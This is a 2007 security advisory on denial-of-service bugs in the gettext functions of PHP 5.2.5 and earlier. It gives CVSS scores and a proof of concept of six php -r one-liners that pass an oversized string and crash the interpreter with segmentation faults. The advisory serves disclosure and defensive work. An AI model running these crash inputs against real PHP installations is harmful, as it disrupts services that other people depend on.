PHP <= 5.2.5 Gettext Lib multiple Denial of service

2007.11.15
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-20


CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Application: PHP <= 5.2.5 Web Site: http://php.net Platform: Unix Bug: Multiple Denial of service fonction: Gettext Lib multiple Denial of service special condition: Default php-memory-limit Tested on : Debian 4.0 , Ubuntu , Freebsd with Suhosin 0.9.6.2 ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Greets 5) Credits =========== 1) Introduction =========== "PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML." ====== 2) Bug ====== dgettext(),dcgettext(),dngettext(),gettext(),ngettext(),dcgettext() are vulnerable to a denial of service ===== 3)Proof of concept ===== Proof of concept example : root@unsafebox:/# uname -a Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 i686 GNU/Linux root@unsafebox:/# php -v PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'dngettext("hi",str_repeat("A",8476509),"hi",-1);' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped) ======== 4)Greets ======== Benjilenoob,team soh, #futurezone, #soh ===== 5)Credits ===== laurent gaffi


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